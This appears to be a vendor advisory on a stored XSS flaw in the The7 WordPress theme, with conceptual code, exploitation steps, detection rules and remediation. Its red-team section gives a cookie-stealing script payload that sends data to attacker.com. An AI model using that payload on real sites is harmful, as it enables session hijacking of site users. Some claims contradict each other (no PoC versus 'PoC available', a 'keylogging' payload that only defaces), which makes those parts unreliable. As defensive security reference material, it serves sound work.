CVE-2025-11897
Executive Summary
CVE-2025-11897 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the The7 — Website and eCommerce Builder for WordPress theme, affecting all versions up to and including 12.9.1. The flaw resides in the the7_fancy_title_css parameter, which is insufficiently sanitized and escaped. Authenticated attackers with at least Contributor-level privileges can inject arbitrary web scripts that execute whenever a victim accesses the compromised page. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.
The CVSS v3.1 base score is 6.4 (Medium), with a vector emphasizing low attack complexity, low privileges required, and a changed scope. The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis. No public proof-of-concept (PoC) code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a commercial WordPress theme distributed via ThemeForest and other marketplaces. Since the theme is a closed-source product, supply chain risks include:
- Delayed patching: The vendor (The7) has not released a patch, leaving all users of version 12.9.1 and below exposed.
- Third-party dependencies: The theme may rely on bundled plugins or libraries that could introduce additional attack surface.
- Integrity verification: Users should verify the integrity of theme updates via checksums or digital signatures if provided by the vendor.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | Low (L) – Contributor-level or higher |
| User Interaction (UI) | None (N) |
| Scope (S) | Changed (C) – impacts resources beyond the vulnerable component |
| Confidentiality (C) | Low (L) |
| Integrity (I) | Low (L) |
| Availability (A) | None (N) |
| Base Score | 6.4 (Medium) |
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the ability to inject persistent scripts that execute in the context of any user (including administrators) makes this a significant risk for multi-user WordPress sites.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (CWE-79) in the The7 theme’s custom CSS parameter for the "Fancy Title" element. The theme allows users with Contributor-level access or higher to create and edit pages using a visual builder. The the7_fancy_title_css parameter is intended to accept custom CSS styles for the fancy title block. However, the theme fails to properly sanitize and escape this input before storing it in the database and rendering it on the frontend.
Attack Flow:
- An attacker with Contributor-level access logs into WordPress.
- The attacker creates or edits a page using the The7 builder.
- The attacker inserts a "Fancy Title" element and injects a malicious payload into the
the7_fancy_title_cssfield, e.g.,</style><script>alert('XSS')</script>. - The payload is stored in the WordPress database without proper sanitization.
- When any user (including administrators or visitors) views the page, the injected script executes in their browser.
Why it works: The theme likely outputs the CSS value directly into a <style> tag without encoding or validation. By breaking out of the CSS context with </style>, the attacker can inject arbitrary HTML and JavaScript.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is inferred from the description. The vulnerable code likely resembles:
// Vulnerable code (conceptual)
function the7_fancy_title_render($atts) {
$css = $atts['the7_fancy_title_css'];
echo '<style>' . $css . '</style>';
}
A patched version would properly escape the output:
// Patched code (conceptual)
function the7_fancy_title_render($atts) {
$css = $atts['the7_fancy_title_css'];
echo '<style>' . esc_html($css) . '</style>';
}
Alternatively, the theme could use wp_kses() to allow only safe CSS properties or validate the input against a whitelist.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with The7 theme version <= 12.9.1.
- Authenticated user account with Contributor-level privileges or higher.
Exploitation Steps:
- Log in to WordPress as a Contributor.
- Navigate to Pages > Add New.
- Use the The7 builder to add a "Fancy Title" element.
- In the custom CSS field (
the7_fancy_title_css), enter the following payload:</style><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish or save the page.
- When an administrator or visitor views the page, the script executes, exfiltrating cookies to the attacker's server.
Alternative Payload (for keylogging or session hijacking):
</style><script>document.body.innerHTML='<h1>Site Compromised</h1>'</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual CSS values in page/post meta fields.
- Look for requests to
/wp-admin/post.phpwith suspiciousthe7_fancy_title_cssparameters. - Use WAF rules to block payloads containing
</style>or<script>in CSS fields.
Hardening:
- Restrict Contributor-level access to trusted users only.
- Implement a Content Security Policy (CSP) that blocks inline scripts.
- Use a WordPress security plugin (e.g., Wordfence) to detect and block XSS attempts.
- Monitor for unauthorized page edits or new pages created by low-privilege users.
Indicators of Compromise (IOCs)
File-based IOCs:
- Modified page/post content in the
wp_poststable containing<script>tags within CSS fields. - Suspicious entries in the
wp_postmetatable withmeta_keycontainingthe7_fancy_title_cssandmeta_valuecontaining XSS payloads.
- Modified page/post content in the
Network-based IOCs:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- HTTP POST requests to
/wp-admin/admin-ajax.phpwith parameters containing XSS patterns.
Log-based IOCs:
- WordPress debug log entries showing unexpected output in CSS blocks.
- Web server access logs showing requests to pages with injected scripts.
Detection Engineering
YARA Rule
rule CVE_2025_11897_The7_XSS {
meta:
description = "Detects stored XSS payloads in The7 theme CSS parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-11897"
strings:
$payload1 = "</style>" ascii wide nocase
$payload2 = "<script>" ascii wide nocase
$payload3 = "the7_fancy_title_css" ascii wide nocase
condition:
all of ($payload1, $payload2, $payload3)
}
Sigma Rule
title: CVE-2025-11897 The7 Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in The7 theme via the7_fancy_title_css parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'the7_fancy_title_css'
cs-uri-query|contains: '</style>'
condition: selection
falsepositives:
- Legitimate CSS containing '</style>' (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11897 The7 Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"the7_fancy_title_css"; http_client_body; content:"</style>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the The7 theme if possible and switch to a secure alternative.
- Restrict Contributor-level access to only trusted users.
- Implement a Web Application Firewall (WAF) rule to block requests containing
</style>in thethe7_fancy_title_cssparameter.
Long-term Fix:
- Monitor the The7 vendor for a patch. Once released, update to the latest version immediately.
- If no patch is forthcoming, consider migrating to a different theme.
- Conduct a security audit of all pages created by low-privilege users to identify and remove injected payloads.
Workaround:
- Use a WordPress security plugin to add input validation for the
the7_fancy_title_cssfield. - Manually edit the theme’s PHP files to add
esc_html()orwp_kses()around the CSS output (note: this will be overwritten on theme updates).
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.